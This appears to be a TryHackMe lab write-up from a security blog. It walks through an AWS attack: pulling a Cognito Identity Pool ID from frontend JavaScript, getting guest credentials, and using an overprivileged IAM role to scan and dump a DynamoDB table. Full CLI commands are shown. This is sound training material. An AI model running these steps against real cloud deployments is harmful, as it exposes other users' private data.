Eye of Ra
SECURITY RESEARCHAsbawy
cd ../writeups
2026-07-30·TryHackMe·Machine·8 min

Complimentary — TryHackMe Writeup

EasyCloud MiscAUTO
CloudAWSCognitoDynamoDBIAM MisconfigurationData Exfiltration
Exploit_Kill_Chain
3 Phases
01S3 Static Site & Frontend Source Analysis
Reconnaissance

Discovered a static website hosted on Amazon S3 with a client-side JavaScript file containing hardcoded AWS Cognito Identity Pool ID and DynamoDB table name.

Tools:Browsercurl
02Cognito Guest Credential Extraction
Exploitation

Used the exposed Identity Pool ID to provision an anonymous Cognito identity and exchanged it for temporary AWS credentials (AccessKeyId, SecretKey, SessionToken) via the AWS CLI.

Tech:AWS Cognito Unauthenticated Access
Tools:AWS CLIjq
03DynamoDB Full Table Scan & Data Exfiltration
Exploitation (Flag)

Leveraged the overprivileged unauthenticated IAM role to perform a full DynamoDB Scan (instead of the intended GetItem), exfiltrating all guest profiles including the flag.

Tech:IAM Overprivilege / DynamoDB Scan Abuse
Tools:AWS CLIgrep
_

Introduction

Complimentary is an easy-rated TryHackMe cloud machine that serves as an excellent introduction to AWS security misconfigurations. The target is a "wellness app" hosted on Amazon S3 that claims to require no login or account — it simply knows things about you. This immediately hints at client-side credential issuance.

The attack chain is entirely cloud-based: we extract hardcoded AWS resource identifiers from the frontend JavaScript, abuse a Cognito Identity Pool configured for unauthenticated access, and exploit an overprivileged IAM role to dump an entire DynamoDB table — revealing the flag hidden in another guest's profile.

This machine has no SSH, no Nmap, and no traditional ports to scan. The entire attack surface is AWS services — making it a refreshing change from the typical box.

_

Reconnaissance

::Target Discovery

The target is a static website hosted on Amazon S3:

~ / text
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

The app claims to require "no login screen" and "no account needed." It simply knows things about the visitor upon opening. This immediately suggests some form of client-side credential issuance — most commonly an AWS Cognito Identity Pool configured to allow unauthenticated access.

::Frontend Source Analysis

Viewing the page source http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js reveals a JavaScript file containing the app's core logic. Buried in the code are three critical constants:

~ / javascript
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

The script initializes AWS.CognitoIdentityCredentials with the IdentityPoolId, then calls dynamodb.getItem() using a locally-generated guest_id. This confirms the attack vector:

  1. The app uses a Cognito Identity Pool to hand out temporary AWS credentials to anonymous users.
  2. Those credentials are then used to query DynamoDB directly from the browser.
  3. If the IAM role attached to unauthenticated users is overprivileged, we can perform operations beyond a single GetItem — such as a full table Scan.
_

Exploitation

::Step 1 — Obtain a Cognito Identity ID

Using the exposed IdentityPoolId, we request an anonymous identity from AWS Cognito:

~ / bash
aws cognito-identity get-id \
--identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 \
--region us-east-1
~ / json
{
"IdentityId": "us-east-1:4d571309-b043-c823-97ba-bee1c7e2f5fd"
}

::Step 2 — Exchange Identity for Temporary Credentials

With the IdentityId, we request temporary credentials valid for the unauthenticated IAM role:

~ / bash
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:4d571309-b043-c823-97ba-bee1c7e2f5fd" \
--region us-east-1
~ / json
{
"IdentityId": "us-east-1:4d571309-b043-c823-97ba-bee1c7e2f5fd",
"Credentials": {
"AccessKeyId": "ASIAU2VYTBGYFK36RRAK",
"SecretKey": "hnDBM8+pkguNd99EUe2qpAx6O/tSq88Aenkeqhxq",
"SessionToken": "IQoJb3JpZ2luX2VjEL...",
"Expiration": "2026-07-29T23:26:55+00:00"
}
}

These are temporary STS credentials — they include an AccessKeyId, SecretKey, and a SessionToken. All three must be used together. They expire after a short period, but that's more than enough time to exfiltrate data.

::Step 3 — Configure AWS CLI

Export the temporary credentials into the environment so subsequent aws commands use the guest role:

~ / bash
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYFK36RRAK"
export AWS_SECRET_ACCESS_KEY="hnDBM8+pkguNd99EUe2qpAx6O/tSq88Aenkeqhxq"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEL..."
export AWS_REGION="us-east-1"

::Step 4 — DynamoDB Table Scan

The frontend only calls GetItem for the current visitor. However, the unauthenticated IAM role is overprivileged and allows Scan on the entire table. We dump every record:

~ / bash
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1

To quickly locate the flag, we filter the output:

~ / bash
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1 | grep -i "flag\|thm{"
_

Flag

Flag
••••••••••••••••••••••••[ Click to reveal flag ]
_

Automation

This entire exploit chain — from fetching the frontend source to capturing the flag — can be fully automated. Instead of running each command manually, here's an interactive demo of the automation script in action:

complimentary_exploit.sh

Click Run Exploit to start the automated exploitation

6 steps · fully automated

_

References

about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup — return /writeups